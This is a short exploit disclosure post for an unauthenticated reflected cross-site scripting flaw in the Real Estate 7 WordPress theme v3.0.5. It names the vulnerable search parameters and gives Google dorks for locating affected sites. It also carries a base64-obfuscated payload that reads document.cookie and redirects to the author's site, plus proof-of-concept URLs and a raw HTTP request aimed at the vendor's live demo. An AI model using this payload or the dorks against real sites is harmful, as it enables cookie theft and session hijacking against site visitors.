[WordPress] Real Estate 7 theme v3.0.5 — Unauthenticated Reflected XSS

Ex.Mi
1 min readAug 29, 2020
Real Estate 7 WordPress theme v3.0.5 — Unauthenticated Reflected XSS
[+] :: Exploit Title: Real Estate 7 WordPress theme v3.0.5 - Unauthenticated Reflected XSS
[+] :: Google Dork #1: inurl:/wp-content/themes/realestate-7/
[+] :: Google Dork #2: inurl:/wp-content/themes/wp-pro-real-estate-7-child/
[+] :: Date: 2020-08-23
[+] :: Exploit Author: Ex.Mi [ https://ex-mi.ru ]
[+] :: Vendor: Chris Robinson [ https://www.contempothemes.com ]
[+] :: Software Version: 3.0.5
[+] :: Software Link: https://themeforest.net/item/wp-pro-real-estate-7-responsive-real-estate-wordpress-theme/12473778
[+] :: Tested on: Kali Linux
[+] :: CVE:
[+] :: CWE: CWE-79

[i] :: Info:
An Unauthenticated Reflected XSS vulnerability was discovered in the Real Estate 7 theme v3.0.5 for WordPress.Vulnerable parameters: ct_sqft_from, ct_sqft_to, ct_lotsize_from, ct_lotsize_to, ct_mls.
[$] :: Payload:
"><img src=x onerror=eval(atob(`amF2YXNjcmlwdDphbGVydChgRXguTWlgKTthbGVydChkb2N1bWVudC5jb29raWUpO3dpbmRvdy5sb2NhdGlvbj0naHR0cHM6Ly9leC1taS5ydS8nOw==`));>
[!] :: PoC:
https://contempothemes.com/wp-real-estate-7/elementor-demo/?ct_sqft_from=%22%3E%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%60amF2YXNjcmlwdDphbGVydChgRXguTWlgKTthbGVydChkb2N1bWVudC5jb29raWUpO3dpbmRvdy5sb2NhdGlvbj0naHR0cHM6Ly9leC1taS5ydS8nOw%3D%3D%60%29%29%3B%3E
[!] :: PoC (Burp Suite):
GET /wp-real-estate-7/elementor-demo/?ct_sqft_from=%22%3E%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%60amF2YXNjcmlwdDphbGVydChgRXguTWlgKTthbGVydChkb2N1bWVudC5jb29raWUpO3dpbmRvdy5sb2NhdGlvbj0naHR0cHM6Ly9leC1taS5ydS8nOw%3D%3D%60%29%29%3B%3E HTTP/1.1
Host: contempothemes.com

[+] :: Contacts:
Website: ex-mi.ru
Telegram: @ex_mi
GitHub: @ex-mi
Medium: @ex.mi

--

--

Ex.Mi

Dev/Sec/Gfx Freelancer from Russia. Don’t like *ethical* stuff, love pistachio ice cream.